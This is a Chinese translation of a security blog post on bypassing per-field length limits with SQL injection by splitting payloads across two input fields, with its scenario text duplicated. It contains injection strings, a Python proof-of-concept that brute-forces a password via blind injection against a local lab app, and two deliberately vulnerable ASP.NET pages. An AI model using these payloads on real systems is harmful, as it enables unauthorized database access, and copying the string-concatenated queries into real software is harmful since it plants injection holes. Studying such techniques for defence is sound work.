- 浏览: 290955 次
-
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/
场景1.
在本场景中,web应用程序接收first-name和last-name,然后输入匹配的Email地址(代码参考附录A)
正常发送到数据库的sql语句如下
攻击者可以使用下面的方法来获得数据库的名字:
该字符串有27个字节
如果user的输入限制为每个field 15个字节,上述的攻击将会被封锁。即使这样,攻击者可以使用下面的字符串来绕过限制:
First Name: ‘union select/* (15 bytes)
Last Name: */db_name();– (12 bytes)
结果将是下面的查询语句:
将会导致输出数据库的名字
场景2
在本例中,攻击者攻击web接收一个username 和password,并且输出“Access Granted!”或“Access Denied!”。web程序限制每个输入域为20个字节。但是web程序之检查user输入从长度(附录B)
应用程序发送如下查询:
为了暴力破解david的密码的第一个字节,攻击者发送如下字符串:
• User Name: david’and substring/*
• Password: */(password,1,1)=’p
攻击将导致如下查询:
如果password的第一个字符是'p',那么返回1,否则返回0.为了保留破解david的密码,攻击者可以使用如下python脚本
场景1.
在本场景中,web应用程序接收first-name和last-name,然后输入匹配的Email地址(代码参考附录A)
正常发送到数据库的sql语句如下
select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; @fn和@ln是user的输入
攻击者可以使用下面的方法来获得数据库的名字:
‘ union select db_name();–
该字符串有27个字节
如果user的输入限制为每个field 15个字节,上述的攻击将会被封锁。即使这样,攻击者可以使用下面的字符串来绕过限制:
First Name: ‘union select/* (15 bytes)
Last Name: */db_name();– (12 bytes)
结果将是下面的查询语句:
select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;
将会导致输出数据库的名字
场景2
在本例中,攻击者攻击web接收一个username 和password,并且输出“Access Granted!”或“Access Denied!”。web程序限制每个输入域为20个字节。但是web程序之检查user输入从长度(附录B)
应用程序发送如下查询:
select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; @un和@pass是用户输入
为了暴力破解david的密码的第一个字节,攻击者发送如下字符串:
• User Name: david’and substring/*
• Password: */(password,1,1)=’p
攻击将导致如下查询:
select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';
如果password的第一个字符是'p',那么返回1,否则返回0.为了保留破解david的密码,攻击者可以使用如下python脚本
################################################## ## GreenSQL 2-fields SQL Injection Attack ## ## Password Brute Forcer ## ## Proof-of-Concept ## ## This code is for educational purposes only ## ################################################## import urllib un = 'david'and substring/*' i=0 CurrChr = 0 password = "" for index in range(1,40): if CurrChr == 125: break for CurrChr in range(32,126): pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr) args = {'UserName':un,'Password':pswd} encoded_args = urllib.urlencode(args) url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx' print "Sending: ", index, "X", chr(CurrChr) f = urllib.urlopen(url, encoded_args) contents = f.read() f.close() if (contents.find('Access Granted') != -1): password = password + chr(CurrChr) print "Password: ", password CurrChr =1 break
附录 A - Web Application #1 Source Code =========================================== <%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.SqlClient" %> <html> <head><title>Shortest</title></head> <body> <form id = "f" method="post" action="shortest.aspx"> First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br /> Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br /> <input id="submit" type="submit" value="Get Email" /> </form> <% string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000"; DataSet ds = new DataSet(); string fn = ""; fn = Request.Form["FirstName"]; string ln = ""; ln = Request.Form["LastName"]; if (fn.Length <= 15 && ln.Length <= 15) { string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';"; SqlDataAdapter data = new SqlDataAdapter(command, conn); data.Fill(ds); Response.Write("<table>"); foreach (DataRow row in ds.Tables[0].Rows) { Response.Write("<tr>"); foreach (DataColumn col in ds.Tables[0].Columns) { Response.Write("<th>"); Response.Write(row[col]); Response.Write("</th>"); } Response.Write("</tr>"); } Response.Write("</table>"); Response.Write(command); if (fn != null && ln != null) Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString()); } else { Response.Write("Username and Passwords are limited to 15 characters maximum!"); } %> </body> </html>
附录B– Web Application #2 Source Code =========================================== <%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.SqlClient" %> <html> <head><title>Shortest</title></head> <body> <form id = "f" method="post" action="Authentication.aspx"> Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br /> Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br /> <input id="submit" type="submit" value="Authenticate" /> </form> <% string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000"; DataSet ds = new DataSet(); string un = ""; un = Request.Form["Username"]; string pass = ""; pass = Request.Form["Password"]; if (un.Length <= 20 && pass.Length <= 20) { string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';"; SqlDataAdapter data = new SqlDataAdapter(command, conn); data.Fill(ds); Response.Write("<table>"); foreach (DataRow row in ds.Tables[0].Rows) { Response.Write("<tr>"); foreach (DataColumn col in ds.Tables[0].Columns) { if (System.Convert.ToInt32(row[0]) > 0) Response.Write("Access Granted!"); else Response.Write("Access Denied!"); } Response.Write("</tr>"); } Response.Write("</table>"); Response.Write(command); if (un != null && pass != null) Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString()); } else { Response.Write("Username and Passwords are limited to 15 characters maximum!"); } %> </body> </html>
发表评论
-
linux 安装scrapy
2015-09-07 13:06 607由于scrapy对python3支持不是很好,所以使用pyth ... -
nginx reverse proxy cofinguration
2015-08-28 15:18 430based on our case, we need to h ... -
wpscan
2015-08-01 10:39 446https://www.digitalocean.com/co ... -
arachni-web-ui使用
2015-06-10 01:04 2149最近在玩儿arachni,想试试arachni-ui-web, ... -
HACKING NODEJS AND MONGODB
2015-06-04 23:52 346http://blog.websecurify.com/201 ... -
php object inject
2015-05-29 00:45 342解释: http://securitycafe.ro/2015 ... -
[转]Forcing XXE Reflection through Server Error Messages
2015-05-19 01:10 464原文地址:https://blog.netspi.com/fo ... -
CVE-2011-2461
2015-03-31 01:19 437http://blog.nibblesec.org/2015/ ... -
[转]NotSoSecure's 2nd SQLiLab CTF Writeup
2015-03-30 01:21 1064http://blog.justinsteven.com/po ... -
[翻译]利用Oracle’s CREATE DATABASE LINK提权
2015-03-30 01:12 1309原文地址:http://www.notsosecure.com ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 600原文地址:https://blog.netspi.com/du ... -
[转]Microsoft Access sqli
2015-03-18 00:57 446https://milo2012.wordpress.com/ ... -
[转]sqlmap注入Microsoft Access
2015-03-18 00:49 1600https://github.com/sqlmapprojec ... -
crossdomain.xml
2015-03-12 01:23 683参考: https://hackerone.com/repor ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4145原文地址:https://jimshaver.net/2015 ... -
xxe方法
2015-02-01 18:32 854原文地址:http://www.christian-schne ... -
owasp zed--Web Sockets
2015-01-31 01:16 650http://digi.ninja/blog/zap_web_ ... -
memcached
2015-01-25 01:56 0http://www.sensepost.com/blog/4 ... -
[译]linux使用软连接读取本地文件
2015-01-25 00:28 1978原文地址:http://josipfranjkovic.blo ... -
linux install firefix&plugin
2015-01-22 20:56 4601. download firefox&plugins ...
相关推荐
### Oracle接收长度大于4000的字符串 在Oracle数据库中,默认情况下,`VARCHAR2`类型字段的最大长度为4000个字符。...这种方式不仅能够解决字符串长度限制的问题,还能够提高应用程序的灵活性和扩展性。
- **绕过限制与防御**:文章中提到的“二次SQL注入”、“长度限制”、“绕过检查”等技巧,都是高级攻击者为了突破常见防御措施而采取的策略。例如,通过构造特殊的输入序列,可以在不被立即检测的情况下执行SQL代码...
3. **数据库的原生防护机制**:虽然部分数据库如MySQL提供了如`mysql_real_escape_string()`等函数来转义特殊字符,防止SQL注入,但在实际应用中,若未正确使用这些功能,仍然存在被攻击的风险。 4. **盲注攻击**:...
首先,提到单引号限制,这是因为多数数据库系统(如MySQL、SQL Server等)使用单引号来界定字符串值。因此,在未经适当过滤的SQL查询中,单引号往往可以用来破坏原有的SQL语句结构,从而注入新的SQL代码。然而,简单...
- 结合上述技巧,即使在面对较为复杂的过滤机制时,也能找到突破口进行有效的SQL注入攻击。 - **安全意识提升**: - 对于开发者而言,深入了解SQL注入攻击原理有助于提升代码的安全性。同时,在实际开发过程中,...
然而,网络攻击手段也在不断进化和发展,攻击者们总能寻找到新的攻击方式和技术来突破防护屏障。近年来,针对应用程序的安全威胁成为网络安全领域的一个新焦点,其中SQL注入攻击尤为突出。这种攻击不仅能够泄露敏感...
虽然出于安全考虑通常会被禁用,但如果系统管理员没有正确配置,则可能成为攻击者的突破口。通过`xp_cmdshell`,攻击者不仅能获取数据库信息,还可以控制服务器进行其他恶意活动。 ##### XP_REGREAD 另一个常用的...
攻击者可以通过输入特定的字符串,使应用程序误以为这些字符串是合法的数据,而不是执行的SQL命令。攻击者可以利用这种漏洞读取未授权的数据、修改数据库记录、执行系统命令,甚至可能导致整个数据库系统的瘫痪。...
动态SQL语句的应用则能够突破这些限制,完成如创建数据库和表等DDL操作,以及根据实际需求动态地生成参数化的SQL语句。 文章接着介绍了PowerBuilder中动态SQL语句的三种格式及其具体使用方法: 1. 第一种格式适用...
然而,在某些特殊情况下,例如SQL注入攻击或者处理受到限制的输入时,可能需要寻找空格的替代方案。本文主要探讨了在SQL中使用括号()`来代替空格的一种方法。 首先,让我们理解为什么需要替代空格。在SQL注入中,...
在模板文件`templatedefaultforumpost_editor_ext`中,查找并修改所有与80字符限制相关的值,将其改为120。 4. **修改函数验证文件**: 需要找到处理标题验证的PHP函数,如`check_subject_length()`,并更新其中...
EVAL长度限制突破技巧指的是在参数长度小于17个字符的情况下,如何通过字符串拼接、字符截取等方法构造出符合限制的代码,从而实现Webshell的获取。例如,通过精心构造的GET请求参数绕过长度限制,使用`file_put_...
- 学习者将面对更加复杂的输入验证逻辑,需要通过巧妙地构造SQL语句来突破这些限制。 - 通过这个练习,可以学习到如何处理特定的过滤规则和特殊字符转义等问题。 - **Less-3** - 本题涉及到了数字型SQL注入攻击...
用户体验的新突破,有效地提高用户讨论的兴趣。 29、支持广告类型:gif图片广告、FLASH广告、文字广告、HTML代码广告。 支持7种广告位显示方式: 页内嵌入循环:就是将广告位直接置入某页面一固定位置,并在同一...
论文提醒读者,防御SQL注入需要持续的更新和适应,因为攻击者总是在寻找新的突破点。 **[0x06] - 参考文献** 这部分列出了相关的研究资料和技术资源,为读者提供进一步学习的路径。 **[0x07] - 致谢** 论文的...
14. **数据库连接**:Java JDBC(Java Database Connectivity)接口提供与数据库交互的能力,包括建立连接、执行SQL语句、处理结果集等。 15. **框架应用**:如Spring、MyBatis等框架的应用,能够简化开发流程,...
* Sql Server支持多种数据类型,包括整数、字符串、日期等,能够满足不同的应用需求。 知识点4:C#语言的应用 * C#是一种面向对象的编程语言,能够提供高效、安全的编程机制。 * C#可以与ADO.NET集成,提供高效的...
2. **安全措施**:随着文章长度的增加,攻击者利用长字符串进行SQL注入等攻击的风险也随之上升。确保对所有用户输入进行严格的验证和过滤,避免潜在的安全漏洞。 3. **用户体验**:过长的文章可能会影响页面加载...